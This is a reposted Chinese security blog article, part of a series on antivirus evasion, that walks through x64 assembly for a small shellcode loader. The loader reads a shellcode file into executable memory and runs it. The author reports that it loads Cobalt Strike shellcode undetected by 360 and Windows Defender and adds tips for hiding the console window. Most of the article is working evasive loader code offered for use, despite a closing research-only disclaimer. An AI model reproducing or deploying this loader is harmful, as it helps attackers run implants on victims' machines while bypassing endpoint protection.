免杀那点事儿之用汇编写一个3kb的免杀shellcode加载器(五)

admin 2024年7月21日09:41:06评论33 views字数 3910阅读13分2秒阅读模式

免杀那点事儿之用汇编写一个3kb的免杀shellcode加载器(五)

公众号很久没有更新了,确实太忙~~~~

前段时间比较浮躁,因为自己训练的编程专项模型,也把自己变得越来越懒,写很多对抗程序的时候,也没有追求精益求精,追根溯源的黑客精神了。所以打算沉下心来用汇编好好的重写一些自己的对抗工具的核心功能。

很久没用汇编写程序了,就先写个最简单的shellcode加载器来练练手。

先看看效果······

免杀那点事儿之用汇编写一个3kb的免杀shellcode加载器(五)

免杀那点事儿之用汇编写一个3kb的免杀shellcode加载器(五)

正常运行,加载工具人最爱用的cs的shellcode,成功上线,360和Windows Defender都是毫无反应。

免杀那点事儿之用汇编写一个3kb的免杀shellcode加载器(五)

virscan报告地址:

https://www.virscan.org/report/39245969902c518e44e86fc19774bae39642951feef051493fe296fbdecc1657

免杀那点事儿之用汇编写一个3kb的免杀shellcode加载器(五)

------可爱的分割线------

大部分人觉得汇编很复杂,其实不然,在我看来,汇编更加直接了当能够告诉计算机我想干什么。

授人与渔不如授人与渔,开干~~~~~~

首先data段定义接下来要用到的函数和一些常量

.datakernel32_name db "kernel32.dll", 0  ; kernel32.dll 的名称user32_name db "user32.dll", 0      ; user32.dll 的名称CreateFileA_name db "CreateFileA", 0  ; CreateFileA 函数名ReadFile_name db "ReadFile", 0        ; ReadFile 函数名VirtualAlloc_name db "VirtualAlloc", 0  ; VirtualAlloc 函数名CloseHandle_name db "CloseHandle", 0    ; CloseHandle 函数名LoadLibraryA_name db "LoadLibraryA", 0  ; LoadLibraryA 函数名MessageBoxA_name db "MessageBoxA", 0    ; MessageBoxA 函数名filename db "C:\shellcode.bin", 0    ; 要读取的文件名error_msg db "Error occurred", 0      ; 错误消息success_msg db "Operation successful", 0  ; 成功消息

user32.dll的MessageBoxA函数以及error_msg和success_msg是我在其他环境调试时候方便看输出用的,生产环境可以直接删掉。

filename是shellcode文件的路径。

接下code段,万年不变的入口main PROC

    push rbx    push rsi    push rdi    push r12    push r13    push r14    push r15

获取kernel32.dll动态链接库的基址

    ; 获取 kernel32.dll 的基址    lea rcx, kernel32_name  ; 将 kernel32.dll 的名称加载到 rcx    call GetModuleHandleA   ; 调用 GetModuleHandleA 获取 kernel32.dll 的句柄    test rax, rax           ; 检查返回值是否为 0 (错误)    jz exit_program         ; 如果是 0,跳转到退出程序    mov rbx, rax            ; 保存 kernel32.dll 基址到 rbx

这个我加了一个容错,test rax,rax 。如果为0则证明获取基址失败,就跳转到我写好的exit_program的方法退出程序。和c语言中的if(handle==0){funcexit();}类似。

获取到模块基址过后,接下来就要将我们要用到的函数地址都获取并且保存在我们上面push的寄存器中。

    ; 获取 LoadLibraryA 函数地址    mov rcx, rbx            ; kernel32.dll 的句柄    lea rdx, LoadLibraryA_name  ; LoadLibraryA 函数名    call GetProcAddress     ; 调用 GetProcAddress 获取函数地址    test rax, rax           ; 检查返回值是否为 0 (错误)    jz exit_program         ; 如果是 0,跳转到退出程序    mov r15, rax            ; 保存 LoadLibraryA 函数地址到 r15    ; 获取 CreateFileA 函数地址    mov rcx, rbx    lea rdx, CreateFileA_name    call GetProcAddress    test rax, rax    jz exit_program    mov r12, rax            ; 保存 CreateFileA 函数地址到 r12    ; 获取 ReadFile 函数地址    mov rcx, rbx    lea rdx, ReadFile_name    call GetProcAddress    test rax, rax    jz exit_program    mov r13, rax            ; 保存 ReadFile 函数地址到 r13    ; 获取 VirtualAlloc 函数地址    mov rcx, rbx    lea rdx, VirtualAlloc_name    call GetProcAddress    test rax, rax    jz exit_program    mov r14, rax            ; 保存 VirtualAlloc 函数地址到 r14    ; 获取 CloseHandle 函数地址    mov rcx, rbx    lea rdx, CloseHandle_name    call GetProcAddress    test rax, rax    jz exit_program    mov rbx, rax            ; 保存 CloseHandle 函数地址到 rbx (重用 rbx)

每一个关键步骤我都做了test rax,rax 。没办法,强迫症,看不得程序一点的不受控~~~

函数地址都获取后,可以打开我们的shellcode文件了

; 调用 CreateFileA 打开文件    sub rsp, 40             ; 分配影子空间和额外参数空间    lea rcx, filename       ; 文件名    mov rdx, 80000000h      ; GENERIC_READ    xor r8, r8              ; 不共享    xor r9, r9              ; 无安全属性    mov qword ptr [rsp + 32], 3  ; OPEN_EXISTING    mov qword ptr [rsp + 40], 80h  ; FILE_ATTRIBUTE_NORMAL    mov qword ptr [rsp + 48], 0  ; 无模板文件    call r12                ; 调用 CreateFileA    add rsp, 40             ; 恢复栈    ; 检查文件句柄    cmp rax, -1             ; 比较返回值和 INVALID_HANDLE_VALUE    je file_error           ; 如果相等,跳转到文件错误处理    mov rdi, rax            ; 保存文件句柄到 rdi

这里用cmp rax,-1 检查是否成功取到文件句柄,如果没有跳转到file_error方法。《程序员的自我修养》

接下来分配内存

    ; 分配内存 (VirtualAlloc)    sub rsp, 32             ; 分配影子空间    xor rcx, rcx            ; lpAddress = NULL    mov rdx, 1000h          ; dwSize = 4KB (假设 shellcode 不超过 4KB)    mov r8, 1000h           ; flAllocationType = MEM_COMMIT    mov r9, 40h             ; flProtect = PAGE_EXECUTE_READWRITE    call r14                ; 调用 VirtualAlloc    add rsp, 32             ; 恢复栈    ; 检查分配的内存    test rax, rax           ; 检查返回值    jz memory_error         ; 如果为 0,跳转到内存错误处理    mov r15, rax            ; 保存分配的内存地址到 r15

同样test rax,rax 检查是否分配成功,失败跳转到memory_error方法。《程序员的自我修养》

分配好内存后,就可以载入我们的shellcode到内存中了

    ; 读取文件 (ReadFile)    sub rsp, 40             ; 分配影子空间和额外参数空间    mov rcx, rdi            ; 文件句柄    mov rdx, r15            ; 缓冲区地址    mov r8, 1000h           ; 读取大小 (4KB)    lea r9, [rsp + 32]      ; 实际读取的字节数的地址    mov qword ptr [rsp + 32], 0  ; 初始化实际读取的字节数为 0    call r13                ; 调用 ReadFile    add rsp, 40             ; 恢复栈    ; 检查读取结果    test rax, rax           ; 检查返回值    jz read_error           ; 如果为 0,跳转到读取错误处理

同样test rax,rax 检查是否读取载入成功,失败跳转到read_error方法。《程序员的自我修养》

最后关闭文件句柄然后执行shellcode

    ; 关闭文件句柄    sub rsp, 32             ; 分配影子空间    mov rcx, rdi            ; 文件句柄    call rbx                ; 调用 CloseHandle    add rsp, 32             ; 恢复栈    ; 执行 shellcode    call r15                ; 调用加载到内存中的 shellcode

有借有还,再借不难,exit的时候别忘了pop寄存器

exit_program:    ; 恢复非易失性寄存器    pop r15    pop r14    pop r13    pop r12    pop rdi    pop rsi    pop rbx    ; 退出程序    xor rcx, rcx            ; exit code = 0    call ExitProcess        ; 调用 ExitProcess 退出程序

核心功能全部完成。编译的时候,如果要具备更好的隐藏性,可以/SUBSYSTEM:WINDOWS隐藏控制台窗口,但是要记住告诉编译器你的入口点/ENTRY main。

至此,整个程序完成。

------可爱的分割线------

感觉用汇编写程序能够让心静下来,能够真正的感觉在与计算机交流,也能够温故而知新的调整自己的很多状态!正如道家所说的道法自然,上善若水~~~~~~所以预告一下,我打算用汇编重写一下llama的核心推理算法,算是一种沉淀的修行吧

原文始发于微信公众号(蓝极战队):免杀那点事儿之用汇编写一个3kb的免杀shellcode加载器(五)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月21日09:41:06
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   免杀那点事儿之用汇编写一个3kb的免杀shellcode加载器(五)https://cn-sec.com/archives/2980104.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息